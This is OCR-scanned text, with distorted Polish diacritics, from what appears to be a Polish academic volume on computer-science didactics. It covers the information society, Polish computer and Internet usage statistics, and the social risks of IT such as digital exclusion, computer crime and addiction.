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WSTEP

Rozwdj cywilizacyjny niesie ze sobg zdobycze nauki i techniki, a te zawsze
pozostawiajg po sobie §lady — zardwno pozytywne, jak i negatywne. Zdarza si¢
i tak, Zze na biezaco nie w pelni potrafimy oceni¢ skutki wprowadzanych zmian.
Na ogot kazde nowe osiggnigcie cywilizacyjne zmierza ku polepszeniu bytu
cztowieka, usprawnieniu jego dziatalnoéci. Jednym stowem, jest tworzone
z zamystem uzyskania tylko pozytywnych efektow. Z czasem dopiero pojawiajg
si¢ pomysty wykorzystania technologii do innych celow niz pierwotnie zaktada-
no. Jest to cena, jaka spoteczenstwa ptacg za krok w swoim rozwoju.

Komputery, ktore skonstruowano jako pierwsze, niestety nie byly wykorzy-
stywane do chlubnych celow. Byly narzedziem do projektowania i obliczania
parametréw broni masowego razenia. Te czasy juz szcze§liwie pozostaty prze-
sztoscia, a analizujac je tez nalezy pamigta¢ o specyficznych w 6wczesnych
czasach warunkach geopolitycznych. Osiaggniecia branzy informatycznej konca
XX wieku miaty inne zatozenia i cele. Niemniej jednak i tym razem nie potra-
fiono w pelni przewidzie¢ dalszego kierunku rozwoju technologii informatycz-
nych i informacyjnych, a tym bardziej skutkéw jej upowszechniania.

W latach 60. XX w. S. Cray twierdzit, Zze na $wiecie wystarczy co najwyzej kil-
ka sztuk komputerow. Potem, kiedy 12 sierpnia 1981 roku IBM udostepnit petng
dokumentacje konstrukcyjng komputera, nastapit bardzo dynamiczny rozwdj catej
informatyki.

Dzisiaj jako ludzkos$¢ jesteSmy madrzejsi o 30-letnie doswiadczenia. Wie-
my, ze oprocz pozytywnych wartosci informatyzacja generuje wiele niebezpie-
czenstw. Mozna je rozpatrywa¢ w skali mikro — pojedynczego cztowieka, ale
takze w skali makro — w odniesieniu do calych spoteczenstw, a nawet ludzkosci.
Whbrew pozorom nadmiar nowoczesnosci, usieciowienie w sensie informatycz-
nym, tworzy wzorem naczyn potaczonych, niespotykanych rozmiaréow uktad
wzajemnych powigzan i zalezno$ci. Jakakolwiek ingerencja, w ktorymkolwiek
miejscu i czasie we wspomniany uktad, zostanie zauwazona nawet w najodle-
glejszych zakamarkach sieci. Skutki takich dziatan moga si¢ okaza¢ wysoce
destabilizujgce gospodarke, ekonomig, obronnos¢ itp.

W kolejnym tomie ,,Dydaktyki Informatyki” skupiamy sie na edukacyjnym wy-
korzystaniu technologii informatycznych i informacyjnych oraz zastanawiamy si¢ nad
skutkami ich wykorzystania na gruncie edukacji. Jak wspomniano wczesniej, dyspo-
nujemy juz dtugoletnim okresem doswiadczen. To wystarczajacy dystans czasowy, by
dokona¢ proby sformutowania praktycznych wnioskéw dla obecnego i1 przysztych
pokolen uczniow/studentéw dzis majacych udziat w powstajacej cyfrowej edukacji.

Aleksander Piecuch
Waldemar Furmanek
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Politechnika Cze¢stochowska

WYKORZYSTANIE TECHNOLOGII INFORMACYJNEJ
A ZAGROZENIA ,,DLA INFORMATYKI
I PRZEZ INFORMATYKE”

AN INFORMATION TECHNOLOGY USING
AND RISKS FOR OR BY INFORMATICS
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Streszczenie

Funkcjonalng podstawa spoleczenstwa informacyjnego staje si¢ powszechne zastosowanie
technologii informacyjno-komunikacyjnych. Ich wykorzystanie stajac si¢ cywilizacyjng koniecz-
noscig wskazuje wiele zjawisk pozytywnych, ujawniajac zarazem pewne zagrozenia. Problematy-
ke zagrozen mozna rozpatrywa¢ dwukierunkowo, tzn. w ujeciu skutkow spotecznych wywotanych
rozwojem technologii informacyjnych (zagrozen przez informatyke) oraz w kategoriach zjawisk
i procesow ograniczajacych ich dalszy rozwdj (zagrozen dla informatyki).

Summary

A functional base of information community is generally using the information and
communication technology. Its application will be a civilization necessity pointing at some
positive phenomena and revealing risks. A hazard issue of information technology develo p-
ment can be analyzed in two-way e.g. in terms of society effects (risks by) and its further
development (risks for).

Wprowadzenie

Ostatnie dekady XX oraz poczatek XXI wieku to okres powstania i rozwoju
spoteczenstwa informacyjnego, w ktorym informacja i wiedza stanowig podsta-
we 1 funkcjonalng ,,codzienno$¢” w zyciu kazdego cztowieka. O znaczeniu
i warto$ci informacji decyduje jej procesowe ,,dopelnienie” w postaci rozwigzan
informatycznych i komunikacyjnych, tj.: komputer, Internet, telefon komérkowy
i inne technologie cyfrowe.

Rozwéj cywilizacyjny powoduje, ze wspotczesne spoleczenstwo zostalo
»przesiakniete” technika, za$ techniczne rozwigzania staja si¢ ,,czescia jego na-
tury”. Rozwigzania techniczne, wptywajac na zycie jednostek i catych spotecz-



nosci, wskazuja z jednej strony na szanse cywilizacyjnego rozwoju, ujawniajac
zarazem liczne zagrozenia i problemy zwigzane z ich zastosowaniem lub mozli-
Wo0scig zastosowania.

1. Spoleczenstwo informacyjne

Spoteczenstwo informacyjne okreslane jest mianem spoteczno$ci, w ktorej
szczegolnego znaczenia nabieraja informacja i wiedza, stanowiace szczegolne
dobra niematerialne rownowazne lub w niektorych przypadkach cenniejsze od
dobr materialnych. Cechami wyr6zniajacymi spoteczenstwo informacyjne od
spolecznosci ery industrialnej jest powszechno$¢ jego scholaryzacji, oparcie
procesow gospodarczych na wiedzy oraz stworzenie warunkéw sprzyjajacych
rozwojowi sektora ustug z zakresu informatyki i telekomunikacji, ksztatcenia
i doksztalcania, nauki, dziatalnosci badawczej i rozwojowe;j itp.

W spoteczenstwie informacyjnym informacja i wynikajaca z niej wiedza
oraz technologie staja si¢ podstawowym czynnikiem wytworczym, przy czym
ich udziat w wartosci dodanej wytwarzanych doébr lub $wiadczonych ustug sys-
tematycznie wzrasta.

Istota i znaczenie informacji w obszarach zycia spoteczno-gospodarczego wy-
wolujg intensyfikacje procesow zwigzanych z jej pozyskiwaniem, gromadzeniem,
przetwarzaniem i przesylaniem — wskazujac na konieczno$¢ wykorzystania srodkéw
technicznych wspomagajacych procesy informacyjne i komunikacyjne. Rozwiaza-
niem technicznym w zakresie procesé6w informacyjnych stat sie komputer, z kolei
problemy komunikacyjne rozwiazaty Internet i telefonia komorkowa. Powszechno$é
ich zastosowania w zyciu prywatnym i pracy zawodowej staja si¢ jednym z podsta-
wowych czynnikow charakteryzujgcych spoteczenstwo informacyjne.

2. Spoteczenstwo informacyjne w Polsce

Rozwdj technologiczny oferuje nowe, olbrzymie mozliwosci zmieniajgc
jednocze$nie sposob zycia i pracy cztowieka®. Zalozenia koncepcyjne spote-
czenstwa informacyjnego wskazujg na komputer, Internet oraz wszelkie techno-
logie cyfrowe jako funkcjonalng podstawg techniczng procesow informacyjnych
i komunikacyjnych. Czynnikami decydujacymi o stopniu wykorzystania rozwia-
zan technicznych jest m.in. ich dost¢pno$é, potrzeba lub cheé¢ korzystania oraz
poziom posiadanych umiejetnosci. O korzystaniu z rozwigzan technicznych

1 J. Nowak, Spoleczenstwo informacyjne — geneza i definicje [w:] Spoleczeristwo informacyj-
ne. Doswiadczenie i przysztosé, red. G. Blizniuk, Wyd. PTI, Katowice 2006.

10



decyduje wiele czynnikow i uwarunkowan natury ekonomicznej, socjologicznej,
psychologicznej, biologicznej itd., sugerujac, iz stopien cywilizacyjnych zmian
w spoteczenstwie danego kraju, regionu lub grupy spotecznej wykazywacé moze
zroznicowanie (tzw. roznice w skali makro, mezo lub mikro).

Stan rozwoju spoteczenstwa informacyjnego w Polsce prezentowany jest
m.in. w publikowanych badaniach statystycznych Gtéwnego Urzedu Statystycz-
nego (GUS)? lub opracowaniach organéw rzadowych®, dotyczacych m.in. po-
wszechnosci posiadania komputeréw, dostgpnosci do Internetu, poziomu umie-
jetnosci wykorzystania technologii informacyjnych.

Dane statystyczne wskazuja, ze w 2012 roku ok. 73% gospodarstw domo-
wych w Polsce posiadato co najmniej jeden komputer, z czego 71% miato do-
step do Internetu. W stosunku do roku 2004 stanowito to 2-krotny przyrost od-
setka posiadajacych komputer (36%) oraz ponad 2,5-krotny wzrost odsetka ko-
rzystajacych z Internetu (26%). Badania prowadzone w zakresie stopnia uzycia
komputera wykazalty, ze ok. 30% mieszkancéw Polski nigdy nie korzystato
z komputera, za$ wsrod osob korzystajacych z jego mozliwosci 2/3 uzywa go
codziennie. Uzywanie komputera jest najmniej popularne wsérdd najstarszej oraz
najmniej wyksztatconej czesci spoteczenstwa. Z kolei w grupie najmtodszych
objetych badaniami (grupa wiekowa 16—24 lata) jednie 1% nigdy nie korzystato
z komputera. W grupie wiekowej najwigkszej aktywnosci zawodowej (25-54
lata) nigdy z komputera nie korzystato 20% oséb. Dane statystyczne wskazuja,
7ze najwickszy odsetek tzw. osdéb wykluczonych cyfrowo (87%) odnotowano
w grupie wiekowej 65-74 lata, przy czym istotnym zjawiskiem jest mate tempo
pozytywnych zmian. Korzystnym zjawiskiem jest z kolei powszechno$¢ posia-
dania komputera i Internetu przez gospodarstwa domowe z dzie¢mi, co wydaje
si¢ stanowi¢ potwierdzenie $wiadomosci trendéw cywilizacyjnych wskazuja-
cych na powszechno$¢ technologii informacyjnej w dorastajagcym ,,spoleczen-
stwie przysztosci”.

Wyniki badan statystycznych wskazuja, iz spo$rod czynnikow majacych
wplyw na wyposazenie gospodarstw domowych w podstawowa infrastrukture
informacyjno-komunikacyjng, do najwazniejszych zalicza sie:

e wielkos¢ dochodu (wskaznik ekonomiczny),

o fakt posiadania dzieci,

e miejsce zamieszkania (miasto/wies, stopien zurbanizowania),

e region kraju.

Na fakt posiadania i wykorzystania komputera wptywaja rowniez tzw. ce-
chy osobowe, tj.: poziom wyksztatcenia, wiek czlowieka oraz stan zdrowia.

2 Glowny Urzad Statystyczny, Rocznik statystyczny RP, Warszawa 2013.
V. Szymanek (red.), Spoleczeristwo informacyjne w liczbach, Departament Spoleczenstwa
Informacyjnego, Ministerstwo Administracji i Cyfryzacji, Warszawa 2013.
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Z kolei do podstawowych powodéw braku dostepu do Internetu w gospodar-
stwie domowym zalicza sig¢:

o brak potrzeby jego wykorzystania;

e brak umiejetnosci obshugi;

e koszty sprzetu i dostepu do sieci;

e inne (np. dostgp w innym miejscu, wzgledy zdrowotne).

W spoteczenstwie informacyjnym komputer i Internet to narzgdzia wyko-
rzystywane w pracy zawodowej. W 2012 roku wskaznik pracujacych wykorzy-
stujacych komputer w pracy wynosit 43% ogoétu zatrudnionych. Odsetek pra-
cownikow wykorzystujacych komputer w pracy zawodowej uzalezniony jest
w gléwnej mierze od tzw. specyfiki branzy. Dominujacymi dziatami gospodar-
czymi w zakresie wykorzystania technologii informacyjno-komunikacyjnej sa:
informatyka i telekomunikacja, finanse i bankowos¢ oraz nauka i technika. Naj-
mniejszy odsetek wykorzystujacych komputer w pracy zawodowej charaktery-
Zuje pracownikow przemystu i budownictwa.

Poza poziomem dostgpnosci do rozwigzan technologii informacyjnej, istot-
nym czynnikiem wydaje si¢ tempo zmian analizowanych zjawisk. Analiza da-
nych z ostatnich pieciu lat (lata 2008-2012) wskazuje, ze najwigksze zmiany
dotycza uzytkowania Internetu w miejscu zamieszkania (Srednio ok. 6-procen-
towy wzrost na rok). W analizowanym okresie odnotowano 2-krotnie mniejsze
tempo przyrostu posiadajgcych komputer w gospodarstwie domowym (ok. 3%
na rok), za$ oznaki stagnacji wydajg si¢ dotyczy¢ zjawiska wykorzystania kom-
puterow w pracy zawodowej ($rednie tempo wzrostu ok. 1,6% na rok w okresie
2008-2012 oraz 0,5% wzrostu w 2012 roku).

3. Zastosowanie technologii informacyjno-komunikacyjnych

W obecnym czasie rozwigzania technologii informacyjno-komunikacyjnej
zajmuja wazne miejsce w zyciu kazdego cztowieka, czesto ingerujac w sfere
zycia prywatnego, jak rowniez ,towarzyszac” i modyfikujac zarazem sposob
wykonywania obowigzkéw w ramach pracy zawodowej. Technologia informa-
cyjna odgrywa rowniez istotng role w dzialalnosci gospodarczej, zmieniajac
metody obstugi klienta, sposob reklamy, procesy logistyczne i wytworcze, ob-
stluge administracyjng itd. Ponadto powstata duza liczba obszaréw zycia gospo-
darczego, ktorych podstawa funkcjonowania staty si¢ zasady koncepcyjne oraz
osiaggnigcia techniczne wspotczesnej cywilizacji. Przyktadami powyzszego moga
by¢ m.in. takie obszary zycia spoteczno-gospodarczego, jak: sieci handlowe,
ustugi informatyczne i telekomunikacyjne, sektor finansowy, mass media. Moz-
liwos$¢ wykorzystania technologii informacyjno-komunikacyjnej dostrzezona
zostala rowniez w zakresie procesow ksztalcenia, okre§lonych form pracy, pro-
wadzenia agitacji politycznej. Powszechno$¢ rozwigzan komunikacyjnych wi-
doczna jest takze w zakresie informatyzacji administracji publicznej.
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Wedhig standardow cywilizacyjnych spoteczenstwa informacyjnego roz-
wigzania technologii informacyjno-komunikacyjnej peli¢ powinny istotne
funkcje w zyciu kazdego cztowieka. W powszechnym odbiorze sprowadza sig to
obecnie do wykorzystania komputera najczgsciej zintegrowanego z narzedziem
komunikacyjnym (siecig Internet). Zagadnienie dotyczgce wykorzystania roz-
wigzan technologicznych dotyczy¢ moze zarowno sfery zycia prywatnego (spo-
sobu spedzania czasu wolnego), jak rowniez obszaru zycia zwigzanego z praca
zawodowa. O ile wykorzystanie rozwigzan technologii informacyjnej w pracy
zawodowej determinuje zakres obowigzkow, o tyle sposob wykorzystania kom-
putera i Internetu w czasie wolnym wydaje si¢ zaleze¢ jedynie od indywidual-
nych preferencji danego cztowieka. Analiza sposobu wykorzystania komputera
oraz mozliwosci Internetu w czasie wolnym od pracy lub nauki wydaje si¢ istot-
na i zasadna o tyle, ze odnosi si¢ do statystycznie najwigkszej populacji spote-
czenstwa (w 2012 roku odsetek korzystajacych z komputera i Internetu poza
miejscem pracy lub nauki wynosit odpowiednio: 72% i 74%) oraz wskazuje na
potencjalng mozliwo$¢ roznorodnos$ci zachowan.

Badania statystyczne wskazuja, ze w zakresie prywatnego wykorzystania
komputera dominujg czynno$ci zwigzane ze standardows jego obstuga polegaja-
cg m.in. na wykorzystaniu programow uzytkowych, wykonywaniu podstawo-
wych operacji na plikach, instalacji i konfiguracji systemu operacyjnego lub
aplikacji uzytkowych, integracji komputera z urzadzeniami zewnetrznymi. Inte-
resujacg interpretacyjnie pozycja statystyczna jest ta, ktora wskazuje, ze ok. 20%
posiadajacych komputer nie wykonuje zadnej operacji. Wydaje si¢, ze W niekto-
rych przypadkach ,,zastosowanie” komputera staje si¢ pozorowaniem przynalez-
nosci do spoteczenstwa informacyjnego, czego potwierdzeniem moze by¢ sprzet
komputerowy petniacy role wyposazenia wnetrz pomieszczen mieszkalnych lub
gabinetow stuzbowych.

Wedtug danych statystycznych podstawowymi powodami korzystania z In-
ternetu bylo: wykorzystanie poczty elektronicznej, poszukiwanie informacji
o0 towarach i ustugach, udziat w czatach, grupach lub forach dyskusyjnych itp.,
korzystanie z ustug bankowosci elektronicznej, uzupetnianie wiedzy. Do grupy
mniej priorytetowych celow wykorzystania Internetu zaliczy¢ mozna: stuchanie
radia lub ogladanie dostepnych programéw telewizyjnych (filmow), czytanie
prasy on-line (w tym pobieranie plikow z gazetami lub czasopismami), pobiera-
nie programow komputerowych, granie w gry komputerowe, poszukiwanie pra-
cy (wysytanie ofert dotyczacych zatrudnienia), sprzedaz towardéw i ustug, telefo-
nowanie i odbywanie wideokonferencji.

Przedstawione dane GUS wskazujg na dwa podstawowe kierunki zwigzane
ze sposobem wykorzystania Internetu, tzn. wskazuja na zachowania pragma-
tyczne oraz te zwigzane z wypelnieniem czasu wolnego. Prezentowane w opra-
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cowaniach statystycznych pozycje statystyczne sugeruja, iz cele wykorzystania
Internetu sg zgodne z normami moralnymi lub obowigzujagcym prawem. Staty-
styczna ,,praworzadnos¢” uzytkownikow Internetu wydaje si¢ nie do konca wia-
rygodna, jezeli uwzgledni¢ powszechnie znane zagrozenia stanowiace ,.efekt
uboczny” jego nieodpowiedniego wykorzystania oraz prezentowane policyjne
zestawienia dotyczace przestepstw komputerowych.

4. Zagrozenia dla informatykKi i przez informatyke

Bezposrednim czynnikiem warunkujacym efektywne funkcjonowanie czto-
wieka w spoteczenstwie informacyjnym jest umiejetnos$¢ racjonalnego wykorzy-
stania rozwigzan technologii informacyjnej*. Postugiwanie si¢ technologig in-
formacyjna wigze si¢ z ponoszeniem konsekwencji zwigzanych z ich stosowa-
niem’. Powyzsze stwierdzenia, akcentujac fakt cywilizacyjnej koniecznosci wy-
korzystania potencjatu technologii informacyjnej, wywotujg zarazem tematyke
,»zagrozen dla informatyki i przez informatyke”.

Wydaje sig, iz rozwigzania informacyjno-komunikacyjne powoduja powsta-
nie, w pewnym sensie broni obusiecznej, stanowigcej zagrozenie ,,przez”’ oraz
»dla” informatyki. Poruszany problem wydaje si¢ ztozony i klopotliwy w jedno-
znacznej interpretacji. Okreslone zjawisko spoteczne rozpatrywane w kontekscie
,»zagrozen przez informatyke”, ukazuje rowniez obszary potencjalnych lub real-
nych ,,zagrozen dla informatyki”. Z tego tez powodu przedstawione pOnizej
przyklady zaprezentowane zostaly bez wyraznego akcentowania ,,ofiary”
i ,oprawcy”.

5. Zréznicowanie dostepnosci

Z réznych powodow pewna cze$¢ spoteczenstwa nie jest w stanie nadgzyc
za tempem zmian lub $wiadomie tych zmian unika®. Jednym z podstawowych
powoddéw rdznicujgcych dostepnosé do rozwigzan technologii informacyjnej
wydaje si¢ czynnik ekonomiczny. Powszechno$¢ zastosowania komputera
wskazuje na koniecznos$¢ ciggltego inwestowania w sprzet, oprogramowanie oraz
urzadzenia wspotpracujace. Znaczenie czynnika ekonomicznego prezentuja dane

* M. Golka, Bariery w komunikowaniu i spoleczeristwo (dez)informacyjne, PWN, Warszawa
2008.

> W. Walat, Przemiany edukacji pod wplywem technologii informacyjno-komunikacyjnych,
,.Dydaktyka Informatyki. Informatyka wspomagajaca catozyciowe uczenie si¢”, nr 8 (2013), Wyd.
UR, Rzeszow 2013.

® A. Piecuch, Technologia dla edukacji, , Dydaktyka Informatyki ...
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statystyczne dotyczace posiadania komputera i sieci Internet przez gospodarstwa
domowe o réznych poziomach dochodu. Réznice w odsetku uzytkujacych, wy-
znaczone dla gospodarstw najlepiej sytuowanych i najubozszych, w 2010 roku
wyniosty odpowiednio 58% i 62%. Wyznaczone dysproporcje w mozliwo$ciach
»hadgzania za tempem zmian” poglebiaja si¢ wraz z uplywem czasu (np. w 2004
roku wynosity odpowiednio 49% i 40%).

Brak umiejetnosci wykorzystania rozwigzan technologii informacyjnej
W duzym stopniu koreluje z faktem posiadania i wykorzystywania rozwigzan
cyfrowych, gdyz zdobywanie i doskonalenie umiej¢tnosci odbywa si¢ przez
praktyczne dziatanie. Brak kompetencji jest efektem faktu nieposiadania. Z kolei
brak mozliwo$ci wykorzystania powoduje $wiatopoglagdowe odrzucenie. Wspol-
nym mianownikiem powyzszych stanéw wydaja si¢ wzgledy ekonomiczne.
Konsekwencja powyzszego staje si¢ stan tzw. wykluczenia cyfrowego. W przy-
padku, gdy dotyczy on osob w wieku produkcyjnym, prowadzi¢ to moze do
zmnigjszenia tzw. potencjalu osobowego i marginalizacji zawodowej, za$
w skrajnych przypadkach do wykluczenia spotecznego. Widoczny wptyw stop-
nia rozwoju technologicznego na zmiany w strukturze zatrudnienia wywotuje
problematyke ,,dobrego wyksztatcenia” oraz koniecznosci ciaglego ,,calozycio-
wego uczenia si¢”.

6. Mozliwosci technologiczne

Rozwiazania technologiczne, oferujac mozliwosci aplikacyjne rozwiazujace
istniejace problemy, ukazujg nowe bariery i ograniczenia, tworzac zarazem sa-
monapgdzajacy si¢ mechanizm rozwoju cywilizacyjnego. Wzrastajacym mozli-
wosciom technologicznym towarzysza zjawiska ekonomiczne i polityczne, ktore
wydaja si¢ intensyfikowaé rozwoj cywilizacyjny, kierunkujac go czesto w ob-
szarach nie zawsze bezpiecznych egzystencjalnie lub akceptowalnych etycznie
(,,zagrozenia przez informatyke”). Wydaje si¢, ze niekontrolowany ,,ped do in-
nowacji” powoduje powstawanie sytuacji, w ktorych uzyskiwane efekty badaw-
cze wywoluja czgsto opor oraz mniej lub bardziej gwattowne reakcje spoteczne.
Reakcjom spotecznym towarzysza, czgsto uchwalane w warunkach burzliwych
dyskusji zwolennikow i przeciwnikéw, zmiany w prawie normujgce sposob
i zakres wdrozenia wynalazkéw. Istotny wydaje si¢ fakt, ze reakcja spoteczna
i legislacja pojawiajg si¢ zawsze z pewnym opoznieniem w stosunku do rozwia-
zan technicznych, stanowigc potencjalne ,,zagrozenie dla informatyki”.

Niepokoj i obawy moga budzi¢ przypadki, w ktorych awaria Iub uszkodze-
nie systemu ,,wymyka” si¢ spod kontroli cztowieka, stanowigc niebezpieczen-
stwo dla §rodowiska naturalnego i zyjacych w nim ludzi (,,zagrozenie przez in-
formatyke”).
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Wspolczesne osiagniecia i innowacje naukowo-techniczne, powodujgc pod-
niesienie standardow i komfortu zycia czlowieka, w coraz wigkszym stopniu
uzalezniajg go od rozwigzan technicznych. W cywilizowanym spoteczenstwie
praktycznie kazdy obszar zycia cztowieka wspomagany jest przez rozwigzania
technologii informacyjnej. Przypadki z zycia wskazuja jednak, ze informatyza-
cja 1 automatyzacja np. procedur administracyjnych, zgtoszeniowych i alarmo-
wych oraz mozliwosci techniczne sprzetu spotykaja si¢ czesto z inercjg proce-
sow realnych. Brak procesowej efektywnosci, powodowany np. btgdnymi pro-
cedurami, zasadami ekonomii lub btgdem ludzkim, wywotuje watpliwosci, co do
zasadnos$ci inwestowania w nowoczesne rozwigzania techniczne, ktore w efekcie
nie prowadza do podniesienia sprawnosci i jakosci procesow realnych (,,zagro-
zenie dla informatyki”).

7. Przestepstwa komputerowe

Rozwiagzania informatyczne, stajac si¢ podstawowym narzgdziem pracy
wspotczesnego czlowieka, stanowia z jednej strony cywilizacyjna podstawe,
jego egzystencji, z drugiej zas strony moga by¢ przyczyna zjawisk destabilizuja-
cych zycie, przyczyna zachowan chorobowych, narzedziem wykorzystywanym
dla dziatan niezgodnych z normami obyczajowymi, przepisami prawa itd.

Najbardziej widocznym przejawem niewlasciwego zastosowania technologii
informacyjno-komunikacyjnej sa przestgpstwa komputerowe. W szerokim ro-
zumieniu przestepczos¢ komputerowa obejmuje wszelkie zachowania przestep-
cze, ktore wiaza sie z elektronicznym przetwarzaniem danych, polegajace za-
rOwno na naruszeniu uprawnien do programu komputerowego, jak i godzace
bezposrednio w przetwarzang informacje, jej nos$nik i obieg w systemie kompu-
terowym oraz sieci komputerowej, a takze w sam komputer. Moga to by¢ czyny
popetniane przy uzyciu elektronicznych systemow przetwarzania danych, jak
rowniez skierowane przeciwko takim systemom’.

W spoteczenstwie informacyjnym, bardzo czesto zgromadzone w systemach
komputerowych zasoby informacji oraz stanowiaca efekt jej przetworzenia wie-
dza, s3 podstawowym zasobem gospodarczym, niejednokrotnie decydujac o po-
tencjale gospodarczym i pozycji na rynku. Dla ich wiascicieli zasoby informacji
staja si¢ szczegoblnie strzezonym dobrem o wymiernej wartosci. W takich przy-
padkach niezwykle istotne wydaja si¢ standardy wlasnosci informacji i ochrony
jej zasobow®. Utrata lub brak dostepu do danych, dostep do nich os6b lub orga-

"V, Szymanek (red.), Spofeczeristwo informacyjne w liczbach. ..
8 A. Nowicki, Wstep do systeméw informacyjnych zarzqdzania, Wyd. P.Cz., Czestochowa
2002.
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nizacji nieupowaznionych oraz falszowanie danych moga by¢ przyczyng po-
waznych strat finansowych czy utraty wiarygodnosci®. Przestepcze oblicze kom-
puteréw to swoiste zwierciadto ciemnej strony ludzkich postaw i dziatan®.
Przyktadami ich istnienia moze by¢ m.in. dziatalno$¢ hakerska, oszustwa i kra-
dzieze mienia, zasobow informacyjnych czy wtasnosci intelektualnej. Nasilajace
si¢ zjawiska przestepczosci komputerowej wydajg si¢ by¢ jaskrawym przykla-
dem ,,zagrozen przez informatyke”. Stanowigc zagrozenie samo w sobie, wymu-
szaja ponadto konieczno$¢ ponoszenia dodatkowych (niejednokrotnie znacza-
cych) naktadow finansowych na sprzet i oprogramowanie, przyjg¢cia procedur
organizacyjnych, wykonania czynno$ci prawnych w zakresie bezpieczenstwa
danych (ich przesylania i przetwarzania) oraz uzytkowanych systemow informa-
tycznych (,,zagrozenie dla informatyki”).

8. Uzaleznienia

Rozwdj technologiczny, oferujac nowe mozliwosci, zmienia sposob zycia
i pracy. Powoduje rowniez zmiany w osobowosci cztowieka, wptywajac na spo-
sOb pojmowania $wiata, stosunek do otoczenia i formy komunikowania.

Z dostepnej oferty technicznej korzystaja jednostki okreslonej spotecznosci.
W kazdym spoteczenstwie wyodrebni¢ mozna réznorodne grupy, spotecznosci
lub wspodlnoty. Ich sposdb pojmowania rzeczywistosci, cele zyciowe, potrzeby,
wyznawane ideologie, poziom kultury — moga si¢ wzajemnie krzyzowac, nakta-
daé, pokrywaé lub wzajemnie wyklucza¢''. Wskazana odmiennos¢ dotyczy¢
moze roéwniez sposobu wykorzystania rozwigzan technicznych. Rozwigzania
techniczne ,,oferujac” nowe mozliwosci, dajac szanse pragmatycznego wykorzy-
stania (w zakresie rozwoju osobowego i zawodowego cztowieka), wskazuja
zarazem na mozliwosci alternatywne (np. komunikacja spoteczna, poszukiwanie
informacji, rozrywka itp.). Dajg rowniez mozliwo$ci wykorzystania w zakresach
skrajnie odbiegajacych od pierwotnych zatozen aplikacyjnych.

Rozwiazania techniczne determinuja sposéb zycia i postgpowania czlowie-
ka, czestokro¢ uzalezniajac go funkcjonalnie i psychicznie. Uzaleznienie funk-
cjonalne oraz skala strat szczeg6lnie widoczne sa w przypadkach awarii rozwig-
zan informatycznych zwigzanych z tzw. obstuga masowg (sieci handlowe, ban-
kowo$¢, transport) lub w systemach produkcyjnych wytwarzajacych w typie
produkcji masowej. Z kolei uzaleznienie psychiczne zaobserwowa¢ mozna na

% E. Kolbusz, Inzynieria systeméw informatycznych w e-gospodarce, PWN, Warszawa 2005.

0T, Goban-Klas, P. Sienkiewicz, Spoleczeristwo informacyjne. Szanse, zagrozenia, wyzwa-
nia, Wyd. FPT, Krakow 1999.

' M. Golka, Bariery w komunikowaniu...
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przyktadzie, czesto groteskowych, a jednoczesnie zatrwazajacych przypadkow,
bezkrytycznego podporzadkowania si¢ czlowieka rozwigzaniom oferowanym
przez systemy informatyczne (np. systemy nawigacji GPS).

Wsrod probleméw stanowigceych ,,zagrozenie przez informatyke” nie mozna
poming¢ negatywnych zjawisk zwigzanych z niewlasciwym lub ,,ponadnorma-
tywnym” wykorzystaniem Internetu. Przyktadami ,,zagrozen przez Internet” jest
powszechna dostgpnos¢ do tresci pornograficznych, szerzacych szkodliwe po-
glady lub ideologie lub mozliwo$¢ kontaktu z organizacjami przestgpczymi.
Z kolei ,,ponadnormatywne” wykorzystanie Internetu powodowa¢ moze za-
chwianie rownowagi pomigdzy technologia a emocjonalnymi i aksjologicznymi
podstawami zycia.

Internet stanowiac powszechne, otwarte i nielimitowane zrédlo informacji
daje dostep do ,,wilasnosci intelektualnej”. Latwos¢ dostgpu oraz pozyskania
ukazuje problem dotyczacy mozliwosci, zakresu i zasad wykorzystania. Proble-
matyka ochrony wtasnosci intelektualnej wydaje si¢ ,,zagrozeniem dla informa-
tyki”, bedac zarazem odpowiedzig na masowa skale zjawiska braku poszanowa-
nia elementarnych zasad uczciwosci i szacunku dla pracy innych.

Zakonczenie

W spoteczenstwie informacyjnym naturalnym zjawiskiem jest wykorzysta-
nie technologii informacyjno-komunikacyjnych w pracy zawodowej oraz zyciu
prywatnym. Rozwigzania technologiczne, przynoszac wiele korzysci, wywotuja
rowniez okreslone, negatywne lub budzace watpliwosci moralne i etyczne zja-
wiska.

Problematyke¢ dotyczacg zagrozen dla informatyKi i przez informatyke moz-
na porownac do procesu diagnozy choroby i sposobu leczenia cztowieka. Aby
uzyska¢ zadowalajacy efekt medyczny, prawidtowo zdiagnozowany pacjent
powinien systematycznie stosowaé¢ wiasciwe leki, w odpowiednich ilosciach
i czasie. Zaro6wno brak stosowania, jak i zastosowanie niewlasciwych lub wiasci-
wych w ponadwymiarowych ilosciach medykamentow prowadzi zazwyczaj do
zgubnych skutkow.
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learning, information overload, inappropriate content, ethical risks, digital exclusion, cyberterrorism,
aggression Website

Streszczenie

Problemy zagrozen osobowych i spotecznych wynikajace z obecnosci i niewtasciwego wyko-
rzystywania technologii informacyjnych stanowig obecnie przedmiot badan réznych dyscyplin
naukowych. Mozliwo$¢ wzajemnego wspierania si¢ badaczy tej problematyki wymaga ujednoli-
cenia konwekcji terminologicznej i podstawowych zatozen teoretycznych.

Summary

Issues of personal and social risks arising from the presence and misuse of information tech-
nologies are currently the subject of research scientists of various disciplines. The ability to sup-
port each other investigators of the problem requires the unification of convection terminology and
fundamental theoretical assumptions.

Okreslenie problematyki

W ujeciu systemowym $rodowisko zycia cziowieka obejmuje zbiory kom-
ponentow, ktore — ze wzgledu na ich charakter — mogg by¢ ujmowane jako pod-
systemy. Mowimy o komponentach naturalnych, spotecznych, technicznych
i informacyjnych. Wzajemne ich wspotdziatanie uzewngtrznia si¢ w postaci tak
uksztaltowanego $rodowiska zycia cztowieka, ktore z jego podmiotowego punk-
tu widzenia jest najbardziej korzystne, a kazdy z komponentow wspotprzyczynia
si¢ do uzyskania oczekiwanej jakoSci zycia czlowieka, ktore pozytywnie lub
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negatywnie wplywaja na jego samopoczucie. WszakK jakos¢ swiata decyduje
0 jakosci zycia. Moéwimy o antroposferze cztowieka, na ktora sktadaja si¢ wszelkie
wyniki pracy ludzkiej, ktore powstaly dzigki cztowiekowi 1 maja wspomagac czto-
wieka w wypehianiu jego funkcji. Antroposfera to komponent biosfery, w ktorej
zyje 1 dziala cztowiek. Jest to zazwyczaj obszar poddany silnej antropopresji.

W tym miegjscu interesuje nas komponent informacyjny, ktéry wypelnia
tres¢ pojecia informacyjne srodowisko zycia cztowieka. Dla jego okreslenia sto-
sujemy nazwe antropoinfosfera czlowieka (infosfera lub antropoinfosfera).
Dla czlowieka stanowi ona swoistego rodzaju powltoke (zamykajgcego klosza)
